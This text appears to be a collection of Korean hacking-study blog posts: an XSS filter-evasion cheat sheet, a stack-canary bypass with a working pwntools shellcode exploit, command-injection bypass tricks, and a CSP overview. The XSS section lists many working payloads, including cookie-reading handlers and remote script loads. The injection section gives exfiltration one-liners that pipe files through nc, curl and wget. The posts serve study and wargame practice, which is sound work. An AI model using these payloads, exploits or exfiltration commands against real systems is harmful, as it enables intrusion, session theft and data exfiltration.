XSS 로케이터(Polyglot)

 

  • 여러 컨텍스트에서 실행되는 다목적 XSS 페이로드.
  • HTML, JavaScript, URL 인코딩 등의 다양한 환경에서 동작 가능.
javascript:/*--></title></style></textarea></script></xmp>
<svg/onload='+/"`/+/onmouseover=1/+/[*/[]/+alert(42);//'>

 

 

 

 

  • javascript: 스키마는 브라우저에서 JavaScript 실행을 유도하는 URL 스키마
  • /*-->는 주석을 닫는 시퀀스이지만, 일부 필터가 -->를 허용하는 경우를 노린 우회 기법
  • <title>, <style>, <textarea>, <script>, <xmp> 등의 태그는 보통 브라우저가 특별한 방식으로 해석함.
    • 예를 들어 <script> 내부에서는 HTML이 해석되지 않음.
    • <textarea> 내부에서는 브라우저가 HTML 태그를 일반 텍스트로 처리.
    • <xmp> 태그도 HTML을 일반 텍스트로 해석함.
  • 따라서 이러한 태그를 닫으면서 XSS 필터링을 우회하고, HTML 코드 실행을 유도할 수 있음.
  • <svg> 태그는 JavaScript 이벤트 핸들러를 실행할 수 있는 태그 중 하나.
  • onload 속성을 사용하여 JavaScript 실행을 유도.
  • 페이로드 분석:
    • onload='+/"/+/onmouseover=1/+/[*/[]/+alert(42);//'`
    • +/"/+/` 등의 기법은 문자열 필터를 우회하려는 목적으로 사용됨.
    • onmouseover=1/+/ → onmouseover 이벤트를 추가하여 실행 가능성을 높임.
    • [*/[]/+alert(42);//' → 일부 브라우저가 alert(42);를 해석하도록 함.

 

 

 

잘못된 A 태그 이용

 

  • <a> 태그 내 이벤트 핸들러 (onmouseover)를 활용한 공격.
  • 일부 브라우저에서는 자동으로 따옴표를 추가하여 필터를 우회할 수 있음.
<a onmouseover="alert(document.cookie)">xxs link</a>
<a onmouseover=alert(document.cookie)>xxs link</a>

 

  • <a> 태그에 onmouseover 속성을 추가하여, 사용자가 링크에 마우스를 올리면 alert(document.cookie)가 실행됨.
  • 따옴표(", ') 없이 onmouseover 속성에 alert(document.cookie)를 직접 삽입.
  • 브라우저는 속성 값을 자동으로 해석하므로 따옴표 없이도 실행 가능.
  • 일부 XSS 필터가 따옴표를 기준으로 필터링할 경우 이를 우회하는 기법으로 사용됨.

 

 

 

잘못된 IMG 태그

 

  • <IMG> 태그 내에서 JavaScript 실행을 유도.
  • 따옴표가 누락된 경우에도 브라우저가 자동 수정할 수 있음.
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
  • <IMG> 태그는 src 속성을 포함해야 하지만, 이 코드에는 src가 없음.
  • """> → 속성 값이 없는 빈 따옴표(""), >를 통해 속성을 닫으려는 시도.
  • 일부 브라우저는 잘못된 HTML을 자동으로 수정하면서 > 이후의 내용을 새로운 태그로 해석할 수 있음.
    • 즉, <SCRIPT> 태그가 독립적으로 실행될 가능성이 있음.
    • "> → 일부 브라우저가 속성 닫힘을 보정하며 <SCRIPT> 태그를 독립적으로 해석할 가능성이 있음.
    • 결과적으로 브라우저가 코드를 다음과 같이 처리할 수도 있음

 

 

 

CharCode를 이용한 필터 우회

 

  • String.fromCharCode()를 사용하여 JavaScript 코드 실행.
  • 따옴표가 허용되지 않는 환경에서 사용 가능.
<a href="javascript:alert(String.fromCharCode(88,83,83))">Click Me!</a>

 

 

  • <a> 태그의 href 속성에 javascript:를 사용하면, 사용자가 링크를 클릭할 때 JavaScript 코드가 실행됨.
  • 이벤트 핸들러 없이 XSS를 실행하는 방법 중 하나로, 일부 필터가 onmouseover, onclick 등의 이벤트만 차단하는 경우 이를 우회하는 데 사용될 수 있음.
  • String.fromCharCode(88,83,83)는 ASCII 코드(문자 코드)를 문자열로 변환하는 JavaScript 함수.
  • 88, 83, 83은 각각 **'X', 'S', 'S'**에 해당하므로 실행 결과는 "XSS"가 됨.

 

 

 

SRC 필터를 우회하는 기본 IMG 태그

 

  • SRC 속성을 조작하여 이벤트 핸들러 실행.
  • <IMG> 태그의 onmouseover, onerror 등을 활용.

 

<IMG SRC=# onmouseover="alert('xxs')">
<IMG SRC= onmouseover="alert('xxs')">
<IMG onmouseover="alert('xxs')">
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
  • SRC=#는 사실상 무의미한 값이므로 브라우저는 이미지 로드 실패와 관계없이 onmouseover 이벤트를 실행.
  • SRC= (빈 값) → 대부분의 브라우저에서 현재 페이지 URL을 이미지 경로로 간주하여 요청하지만, onmouseover는 그대로 작동함.
  • SRC 속성이 없음 → 브라우저가 <IMG> 태그를 **렌더링 오류 이미지(깨진 이미지)**로 표시할 수 있음.
    • SRC 속성이 없어도 브라우저는 <IMG> 태그를 유효한 요소로 인식.

 

 

 

IMG onerror + JavaScript 인코딩

  • HTML 엔티티 인코딩을 사용하여 필터 우회.
<img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">
  • onerror 속성 안의 값이 HTML 엔티티(10진수)로 인코딩된 JavaScript 코드임.
  • &#0000106; 같은 표현은 특정 ASCII 문자(예: j)를 나타냄.

    위 HTML 엔티티(10진수)를 디코딩하면 다음과 같은 자바스크립트 코드가 됨.

 

 

 

10진수 HTML 문자 참조

  • javascript: 스키마를 인코딩하여 필터를 우회.
  • &#106; 등의 HTML 코드 사용.
<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;">Click Me!</a>
  • href 속성값이 10진수 HTML 엔티티로 인코딩된 JavaScript 코드임.
    • 위 HTML 엔티티(10진수)를 디코딩하면 다음과 같은 자바스크립트 코드가 됨.

 

 

 

후행 세미콜론 없이 10진수 HTML 문자 참조

  • 일부 필터가 & 이후 ;로 끝나야 한다고 가정하는 점을 악용.
<a href="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">Click Me</a>
  • href 속성값이 0으로 패딩된 10진수 HTML 엔티티로 인코딩된 JavaScript 코드임.
    • 후행 세미콜론(;) 필터 우회 가능

 

 

 

후행 세미콜론 없이 16진수 HTML 문자 참조

  • 16진수 문자 참조를 활용하여 필터를 우회.
<a href="&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29">Click Me</a>
  • href="..." 속성에 16진수 HTML 엔티티로 인코딩된 JavaScript 코드가 포함됨.
    • 후행 세미콜론(;) 필터 우회 가능

 

 

 

 

내장된 탭 (Embedded Tab)

  • javascript:를 포함한 XSS를 탐지하는 필터를 우회하기 위해 공백 또는 탭을 삽입.
  • 일부 필터는 javascript:를 연속된 문자열로 인식하므로, 사이에 탭을 삽입하면 탐지를 피할 수 있음.
<a href="jav   ascript:alert('XSS');">Click Me</a>

 

 

 

 

내장된 인코딩된 탭 (Embedded Encoded Tab)

  • 탭(\t)을 HTML 엔티티로 인코딩하여 필터를 우회.
  • &#x09;(탭 문자)를 삽입하면 브라우저가 이를 자동으로 디코딩하여 실행.
<a href="jav&#x09;ascript:alert('XSS');">Click Me</a>

 

 

 

내장된 줄바꿈을 이용한 JavaScript 분리

  • javascript: 문자열을 줄바꿈 문자(\n 또는 \r)로 분리하여 탐지를 우회.
  • ASCII 제어 문자 &#x0A;(줄바꿈) 및 &#x0D;(캐리지 리턴)를 활용.
<a href="jav&#x0A;ascript:alert('XSS');">Click Me</a>
<a href="jav&#x0D;ascript:alert('XSS');">Click Me</a>

 

 

 

Null 문자 (%00)를 이용한 JavaScript 지시문 분리

  • Null 문자(%00)는 일반적으로 문자열의 끝을 의미하지만, 일부 브라우저에서는 여전히 실행됨.
  • 특정 필터를 우회하기 위해 JavaScript 키워드 사이에 \0을 삽입.
<IMG SRC=java\0script:alert("XSS")>

 

 

 

JavaScript 앞의 공백 및 메타 문자 활용

  • javascript: 키워드 앞에 공백 또는 특수 문자를 삽입하여 필터링 우회.
  • 브라우저는 이를 무시하고 실행.
<a href=" &#14;  javascript:alert('XSS');">Click Me</a>

 

 

 

알파벳 및 숫자가 아닌 문자를 이용한 XSS

  • XSS 필터는 태그와 속성 사이의 공백을 요구하지만, 일부 브라우저는 특수 문자를 허용.
  • /, !, #, % 등의 문자를 활용하여 필터 우회.
<SCRIPT/XSS SRC="http://xss.rocks/xss.js"></SCRIPT>
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
  • SCRIPT/XSS와 같이 슬래시(/)가 포함되어 있는데, 이는 일부 브라우저에서 무시될 수 있
  • 일부 웹 애플리케이션 필터는 <SCRIPT> 태그를 차단하지만, <SCRIPT/XSS>처럼 변형된 태그를 탐지하지 못할 수도
  • <BODY> 태그의 onload 속성은 페이지가 로드될 때 JavaScript를 실행하는 이벤트 핸들러
  • onload="alert('XSS')"처럼 정상적인 형태라면 XSS 필터에 의해 차단될 가능성이 높음.
  • 하지만 onload 속성과 등호(=) 사이에 특수문자를 삽입하여 필터를 우회하려고 시도.

 

 

 

스크립트 태그에서 프로토콜 확인 우회

  • <SCRIPT SRC="..."에서 http:// 대신 //를 사용하면 브라우저가 자동으로 현재 프로토콜을 적용.
  • .j 확장자를 사용하면 특정 브라우저에서 실행 가능.
<SCRIPT SRC=//xss.rocks/.j>
  • 일반적인 URL과 달리 http: 또는 https: 없이 //로 시작함.
  • 이는 **"스키마 상대 URL" (Protocol-relative URL)**이라고 불리며, 현재 사용 중인 프로토콜(HTTP 또는 HTTPS)을 자동으로 따라감.
  • 일반적인 JavaScript 파일 확장자는 .js이지만, .j 같은 변형을 사용하여 보안 필터를 우회할 수 있음.
  • 일부 웹 방화벽(WAF) 또는 필터링 시스템이 .js 파일만 차단하는 경우 .j를 사용하여 우회 가능.

 

 

 

열린 꺾쇠괄호 (<)을 활용한 필터 우회

  • 일부 탐지 엔진은 <SCRIPT> 태그를 찾을 때 완전한 문자열 매칭을 요구.
  • <<SCRIPT>와 같은 변형을 사용하여 우회 가능.
 
<<SCRIPT>alert("XSS");//\<</SCRIPT>

 

 

 

종료 태그 없이 XSS 실행

  • Firefox는 <SCRIPT> 태그의 종료(</SCRIPT>)를 자동으로 추가하는 특성이 있음.
  • 따라서 종료 태그 없이도 스크립트 실행 가능.
<SCRIPT SRC=http://xss.rocks/xss.js?< B >

 

 

 

 

이어서....

'웹 해킹 > 실무' 카테고리의 다른 글

[웹해킹] Blind SQL 인젝션 자동화 도구 (python)  (0) 2024.09.03

 

아래 글을 보고 읽으면 더 이해가 잘 될 것이다

 

[시스템] 스택 카나리 우회(Canary)

이전 학습 ↓ [시스템] 스택 카나리 분석(Canary)카나리 정적 분석 스택 버퍼 오버플로우 취약점이 존재하는 코드#include int main() { char buf[8]; read(0, buf, 32); return 0;}   gcc는 기본적으로 스택 카나

fight-hacker.tistory.com

 

 

 


 

코드 설명

buf 주소 및 rbpbuf 사이의 주소 차이를 출력하고

(버퍼의 주소를 알거나 구할 수 있어야 공격이 가능)

스택 버퍼인 buf에 두 번의 입력을 받는다

이때 두 번 모두 오버플로우가 발생한다

#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[0x50];

  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);

  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);

  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);

  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);

  return 0;
}

 

 

스택 구조

 

+------------------------+  <- 낮은 주소
| buf[0x50] (80 bytes) |  <- 입력 버퍼
+------------------------+
Canary                 |  <- 스택 카나리 (스택 오버플로우 방지)
+------------------------+
| Saved $rbp           |  <- 이전 프레임의 베이스 포인터
+------------------------+
| Return Address    | <- 복귀 주소 
+------------------------+  <- 높은 주소

 

 

 

두번째 입력으로 반환 주소(rbp)를 덮을 수 있지만, 중간에 카나리까지 덮여진다

카나리가 조작되면 __stack_chk_fail 함수에 의해 프로그램이 강제 종료된다

 

그러므로 첫 번째 입력에서 buf에 오버플로우를 발생시켜서

카나리 값을 알아낸 후 이를 두 번째 입력에 사용해야 한다

 

 

 


실습

 

 

 

위 소스코드를 컴파일

-zexecstack 옵션은 스택에 실행 권한을 부여하여, 스택에서 실행되는 코드를 허용함

 

 

 

 

리눅스에는 다양한 바이너리 보호기법이 존재

checksec - 보호기법을 파악할 때 사용하는 툴

RELRO, STACK CANARY, PIE 등의 보호기법이 적용되어 있는 것을 확인

 

 

 

 

 

익스플로잇 코드

 

def slog(n, m): return success(': '.join([n, hex(m)]))

익스플로잇 진행 중 로그를 표시한다

 

p = process('./r2s')

바이너리를 실행하여 프로세스 시작

 

p.recvuntil(b'buf: ')
buf = int(p.recvline()[:-1], 16)

프로그램 출력에서 "buf: "까지 읽는다

buf의 주소를 16진수로 변환하여 저장

 

p.recvuntil(b'$rbp: ')
buf2sfp = int(p.recvline().split()[0])
buf2cnry = buf2sfp - 8

buf와 $rbp 사이의 거리를 계산

buf카나리 사이의 거리를 계산

 

payload = b'A'*(buf2cnry + 1)
p.sendafter(b'Input:', payload)
p.recvuntil(payload)
cnry = u64(b'\x00'+p.recvn(7))

buf카나리 사이의 거리(buf2cnry)만큼 패딩('A')을 채워 카나리를 노출

+1은 첫 번째 null 바이트를 고려한 추가 길이다

p.sendafter - 카나리 값을 읽기 위해 패이로드를 전송

노출된 카나리 값을 읽고 64비트 정수로 변환한다(카나리는 항상 첫 바이트는 널이므로 \x00으로 채운다)

 

sh = asm(shellcraft.sh())

pwntools의 쉘코드 생성 기능을 사용해 쉘을 실행하는 기계어 코드를 생성

 

payload = sh.ljust(buf2cnry, b'A') + p64(cnry) + b'B'*0x8 + p64(buf)

스택에 실행 가능한 쉘코드 + 패딩(카나리까지 거리) + 알아낸 카나리 값 + 패딩(8 바이트) + buf

|              buf[0x50] (80 bytes)                                   | + |        Canary        | + | Saved $rbp| + | Return Address |

리턴 주소를 buf로 덮어써서 buf의 쉘코드가 실행되도록 한다

 

p.interactive()

익스플로잇 실행 후, 쉘과 상호작용할 수 있는 상태로 진입

 

 

 

전체 코드

from pwn import *

def slog(n, m): return success(': '.join([n, hex(m)]))

p = process('./r2s')

context.arch = 'amd64'

# [1] Get information about buf
p.recvuntil(b'buf: ')
buf = int(p.recvline()[:-1], 16)
slog('Address of buf', buf)

p.recvuntil(b'$rbp: ')
buf2sfp = int(p.recvline().split()[0])
buf2cnry = buf2sfp - 8
slog('buf <=> sfp', buf2sfp)
slog('buf <=> canary', buf2cnry)

# [2] Leak canary value
payload = b'A'*(buf2cnry + 1) # (+1) because of the first null-byte

p.sendafter(b'Input:', payload)
p.recvuntil(payload)
cnry = u64(b'\x00'+p.recvn(7))
slog('Canary', cnry)

# [3] Exploit
sh = asm(shellcraft.sh())
payload = sh.ljust(buf2cnry, b'A') + p64(cnry) + b'B'*0x8 + p64(buf)
# gets() receives input until '\n' is received
p.sendlineafter(b'Input:', payload)

p.interactive()

 

 

 

익스플로잇 코드 실행 결과

 

 

성공!

 

이전 학습 ↓

 

[시스템] 스택 카나리 분석(Canary)

카나리 정적 분석 스택 버퍼 오버플로우 취약점이 존재하는 코드#include int main() { char buf[8]; read(0, buf, 32); return 0;}   gcc는 기본적으로 스택 카나리를 적용하여 컴파일한다-fno-stack-protector 옵션

fight-hacker.tistory.com

 

 

[시스템] 스택 카나리 생성 과정(Canary)

이전 학습 ↓ [시스템] 스택 카나리 분석(Canary)카나리 정적 분석 스택 버퍼 오버플로우 취약점이 존재하는 코드#include int main() { char buf[8]; read(0, buf, 32); return 0;}   gcc는 기본적으로 스택 카나

fight-hacker.tistory.com

 

 

 

스택 카나리 우회

 

무차별 대입 

거의 불가능

 

TLS 접근

TLS 주소는 매 실행마다 바뀌지만, 만약 실행 중에 TLS의 주소를 알 수 있

임의 주소에 대한 읽기 또는 쓰기가 가능하다면 카나리 값을 읽거나 임의로 조작할 수 있다

그러면, 스택 버퍼 오버플로우를 수행할 때, 카나리 값으로 스택 카나리를 덮으면 

카나리 검사를 우회할 수 있다

 

 

스택 카나리 릭

가장 현실적인 우회 기법

다음과 같은 코드는 카나리 값을 읽을 수 있는 취약점이 존재한다

#include <stdio.h>
#include <unistd.h>

int main() {
  char memo[8];
  char name[8];
  
  printf("name : ");
  read(0, name, 64);
  printf("hello %s\n", name);
  
  printf("memo : ");
  read(0, memo, 64);
  printf("memo %s\n", memo);
  return 0;
}

 

| memo[8]          |  <= 먼저 위치
|---------------------|
| name[8]          |  <= 뒤에 위치
|---------------------|
| Canary (8 bytes) |  <= 스택 카나리
|---------------------|
| Return Address  |  <= 반환 주소

 

 

read() 호출 시, 버퍼 크기를 초과한 데이터를 입력받을 수 있다

name은 8바이트 크기인데, read()는 64바이트를 읽어오므로, 초과된 데이터는 스택의 name 바로 뒤에 위치한

카나리와 다른 데이터를 침범하게 된다

 

memo가 name보다 먼저 위치한다(낮은 주소에 저장 된다)

 

이 구조를 통해 name 버퍼를 오버플로우하면 카나리를 포함한 memo 영역을 읽을 수 있다

 

 

 

 

 

 


실습

 

 

바이너리 실행

9바이트 이상 입력 시 카나리 변조가 탐지되어 프로그램 강제 종료

오버 플로우로 카나리 값도 노출

 

 

 

카나리 값을 hex dump로 출력하는 방법

 

 

 

스택 구조 확인

memo[8]에 입력할 때,

문자열(8 byte) + 문자열 (8 byte) + 알아낸 카나리 값 + 원하는 실행 주소

를 넣으면 카나리 탐지를 우회하고 오버플로우 공격을 수행할 수 있다

 

이용자의 입력을 시스템 명령어로 실행하게 하는 취약점

 

시스템 명령어를 실행하는 함수에 이용자가 임의의 인자를 전달 할 수 있을 때 발생

 

이는 리눅스 쉘 프로그램이 지원하는 다양한 메타 문자 때문이다.

시스템 함수는 쉘 프로그램에 명령어를 전달하여 실행하는, 쉘 프로그램은 다양한 메타 문자를 지원한다.

 

''  명령어 치환

'' 안에 있는 명령어를 실행한 결과로 치환된다.

$ echo `echo theori`
theori

 

$() 명령어 치환

$() 안에 있는 명령어를 실행한 결과로 치환된다. 중복 사용이 가능하다.

$ echo $(echo $(echo theori))
theori

 

&& 명령어 연속 실행

한 줄에 여러 명령어를 사용할 수 있다. 앞 명령어에서 에러가 발생하지 않아야 뒷 명령어가 실행된다.

$ echo hello && echo theori
hello
theori

 

 

|| 명령어 연속 실행

한 줄에 여러 명령어를 사용할 수 있다. 앞 명령어에서 에러가 발생해야 뒷 명령어가 실행된다.

$ cat / || echo theori
cat: /: Is a directory
theori

 

 

; 명령어 구분자

한 줄에 여러 명령어를 사용할 수 있다. 앞 명령어의 에러 유무와 관계 없이 뒷 명령어를 실행한다.

$ echo hello ; echo theori
hello
theori

 

 

| 파이프

앞 명령어의 결과가 뒷 명령어의 입력으로 들어간다.

$ echo id | /bin/sh
uid=1001(theori) gid=1001(theori) groups=1001(theori)

 

 

 


 

필터링 우회

명령어의 입력으로 들어가는 문자열을 필터링하는 경우

echo -e "\x66\x6c\x61\x67" | xargs cat -e    //16진수 ASCII
cat $'\146\154\141\147'                      //8진수 ASCII
cat [0-z][0-z][0-z][0-z]
cat ????
cat FL${}AG

 

 

명령어(cat, ls, ...) 를 필터링하는 경우

c''a""t flag
c${invalid_variable}a${XX}t flag

 

 

공백을 필터링하는 경우

{cat,flag}
cat$IFS$()flag
cat${IFS}flag

 

 

실행 결과를 확인할 수 없는 환경에서 방법 (결과가 출력되지 않을 때)

 

nc, telcet 사용

cat flag | nc 127.0.0.1 8000
cat flag | telnet 127.0.0.1 8000

 

 

curl, wget 사용

curl "http://127.0.0.1:8080/?$(cat flag|base64 -w0)" // GET 요청
curl http://127.0.0.1:8080/ -d "$(cat flag)"         // POST 요청

wget http://127.0.0.1:8080 --method=POST --body-data="`cat flag`"

 

 

 


 

예제

URL 쿼리를 통해 전달되는 query  값을 ping 명령어의 인자로 전달하고

해당 명령어가 subprocess.check_output() 함수를 이용해 실행되어 출력되는 프로그램이 있다.

 

 

메타 문자를 이용하여 뒤에 원하는 명령어를 함께 실행시킬 수 있다.

 

Content Security Policy (CSP)

  • 웹 보안을 강화하기 위해 웹 브라우저가 웹사이트의 리소스를 로드하는 방식을 제어하는 웹 보안 표준
  • 웹 사이트가 신뢰할 수 있는 리소스 출처를 명시적으로 지정함으로써, XSS(Cross-Site Scripting), 데이터 삽입 공격 등과 같은 일반적인 웹 공격을 방지
  • XSS 공격으로부터 피해를 최소화할 수 있는 방안이지만, XSS 공격의 피해를 완전히 무력화하기 위한 수단은 아님

 

사용 방법

CSP는 HTTP 헤더HTML의 <meta> 태그를 통해 정의됨

CSP 구문은 여러 정책 지시문(policy-directive)으로 구성되며, 각 지시문은 세미콜론(;)으로 구분됨

 

 

CSP 적용 예시

페이지 자원이 동일 오리진('self') 또는 특정 도메인(https://example.dreamhack.io)에서만 로드되도록 설정하는 예시

  • HTTP 헤더 사용
Content-Security-Policy: default-src 'self' https://example.dreamhack.io

 

  • HTML <meta> 태그 사용
<meta http-equiv="Content-Security-Policy" content="default-src 'self' https://example.dreamhack.io">

 

 

 

 

CSP는 웹 페이지 보안을 위해 인라인 코드와 문자열을 실행하는 메커니즘을 기본적으로 차단한다.

 

CSP 기본 정책 - 인라인 코드 (Inline Code)

  • 인라인 코드 차단: <script>alert(1);</script>와 같이 <script> 태그 안에 직접 코드를 삽입하는 인라인 코드를 유해하다고 간주하여 사용을 차단
  • 외부 스크립트 권장: 인라인 코드 대신 <script src="alert.js"></script> 처럼 scr 속성을 사용해 외부 스크립트를 로드하도록 권장
  • 허용되지 않는 인라인 코드 유형:
    • on 이벤트 핸들러 속성 (예: onclick="...")
    • javascript: URL 스킴
    • 인라인 <style> 태그와 style 속성도 차단되며, 외부 스타일시트 사용을 권장

CSP 기본 정책 - eval

  • eval 차단: eval() 함수과 같이 문자열을 실행 가능항 자바스크립트 고드로 변환하는 모든 메커니즘을 차단
  • 차단되는 예제: setTimeout("alert(1)", ....) 와 같이 문자열을 사용한 함수 호출은 차단
  • 허용되는 예제: setTimeout(function(){alert(1)}, ...) 처럼 인라인 함수 형태로 전달되는 경우는 허용

 

Policy Directive

  • <directive> <value> 형식으로 구성됨
    • <directive> (지시문): 어떤 종류의 리소스에 대해 출처를 제어할지 결정하는 역할
    • <value> (값): 지시문에서 제어할 리소스의 출처를 정의하며, 여러 출처를 공백으로 구분하여 나열 가능
지시문 설명
default-src -src로 끝나는 모든 지시문의 기본 동작을 제어합니다. 만약 CSP 구문 내에서 지정하지 않은 지시문이 존재한다면 default-src의 정의를 따라갑니다.
img-src 이미지를 로드할 수 있는 출처를 제어합니다.
script-src 스크립트 태그 관련 권한과 출처를 제어합니다.
style-src 스타일시트 관련 권한과 출처를 제어합니다.
child-src 페이지 내에 삽입된 프레임 컨텐츠에 대한 출처를 제어합니다.
base-uri 페이지의 <base> 태그에 나타날 수 있는 URL을 제어합니다.

 

값 (출처) 설명
*://example.com 출처의 scheme은 와일드카드를 이용해 표현할 수 있습니다.
https://*.example.com 출처의 호스트 서브도메인은 와일드카드를 이용해 표현할 수 있습니다. (단, 와일드카드는 호스트의 중간에 들어갈 수 없습니다. i.e) https://www.*.com, https://*.example.*
또한 서브도메인을 와일드카드로 표현할 시, 서브도메인이 붙어있지 않는 도메인은 포함되지 않습니다. i.e) https://*.example.com으로 출처를 표기할 경우, https://example.com은 포함 안됨
https://example.com:* 출처의 포트는 와일드카드를 이용해 표현할 수 있습니다.
none 모든 출처를 허용하지 않습니다.
self 페이지의 현재 출처 (Same Origin) 내에서 로드하는 리소스만 허용합니다.
unsafe-inline 예외적으로 인라인 코드의 사용을 허용합니다.
unsafe-eval 예외적으로 eval 과 같은 텍스트-자바스크립트 변환 메커니즘의 사용을 허용합니다
nonce-<base64-value> nonce 속성을 설정하여 예외적으로 인라인 코드를 사용합니다. <base64-value>는 반드시 요청마다 다른 난수 값으로 설정해야 합니다. 해당 출처를 설정하면 unsafe-inline 은 무시됩니다.
<hash-algorithm>-<base64-value> script 혹은 style 태그 내 코드의 해시를 표현합니다. 해당 출처를 설정하면 unsafe-inline은 무시됩니다.

 

 

 

 

CSP Examples

Content-Security-Policy: default-src 'self'

모든 리소스의 출처를 현재 페이지와 같은 출처로 제한함

 

Content-Security-Policy: default-src 'self' https://googleapis.com https://*.googleapis.com

모든 리소스의 출처를 현재 페이지와 같은 출처와 " https://googleapis.com", "https://*.googleapis.com"으로 제한함 

 

Content-Security-Policy: default-src 'self'; img-src *; script-src static.dreamhack.io

모든 리소스의 출처를 현재 페이지와 같은 출처로 제한하고, 이미지의 출처는 모든 호스트를 허용, 스크립트 태그의 출처는 "static.dreamhack.io"로 제한

 

Content-Security-Policy: child-src 'self' frame.dreamhack.io

페이지 내에 삽입된 프레임 콘텐츠 URL은 현재 페이지와 같은 출처와 "frame.dreamhack.io"내의 컨텐츠만 로드할 수 있음

 

Content-Security-Policy: base-uri 'none'

base 태그의 URL은 어느 것도 허용하지 않음

 

Content-Security-Policy: script-src 'unsafe-eval'

자바스트립트 코드 내에 eval 과 같은 텍스트-자바스크립트 변환 메커니즘의 사용을 허용

 

Content-Security-Policy: script-src 'sha256-5jFwrAK0UV47oFbVg/iCCBbxD8X1w+QvoOUepu4C2YA='

스트립트 태그 내의 코드 혹은 src 속성으로 지정된 파일의 sha256 해시를 base64로 인코딩한 결과가 "5jFwrAK0UV47oFbVg/iCCBbxD8X1w+QvoOUepu4C2YA="와 다르다면 스크립트 로드에 실패

 

 

 

 

 

+ Recent posts